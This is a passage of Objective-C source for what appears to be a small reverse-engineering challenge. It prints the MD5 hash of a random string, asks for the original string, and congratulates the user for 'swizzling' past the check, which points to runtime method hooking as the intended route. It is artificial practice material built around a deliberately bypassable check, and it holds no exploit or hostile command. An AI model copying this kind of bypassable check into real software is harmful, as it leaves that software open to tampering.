    return [[NSString stringWithUTF8String:inputChars] stringByTrimmingCharactersInSet:[NSCharacterSet newlineCharacterSet]];
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        MD5Generator *generator = [[MD5Generator alloc] init];

        // Generate random message
        NSString *message = generateRandomString(20); // Random message of length 20

        // Compute MD5 hash of the message
        NSString *md5Hash = [generator md5HashOfString:message];
        //NSLog(@"Generated Message: %@", message);
        NSLog(@"MD5 Hash: %@", md5Hash);

        // Ask user to enter the string
        NSLog(@"Please enter the original string:");

        NSString *userInput = getUserInput();
        NSString *userInputHash = [generator md5HashOfString:userInput];

        // Compare hashes
        if ([userInputHash isEqualToString:md5Hash]) {
            NSLog(@"[+] Congrats, You swizzle it successfully");
        } else {
            NSLog(@"[-] You need to be more swizzly :(");
        }
    }
    return 0;
}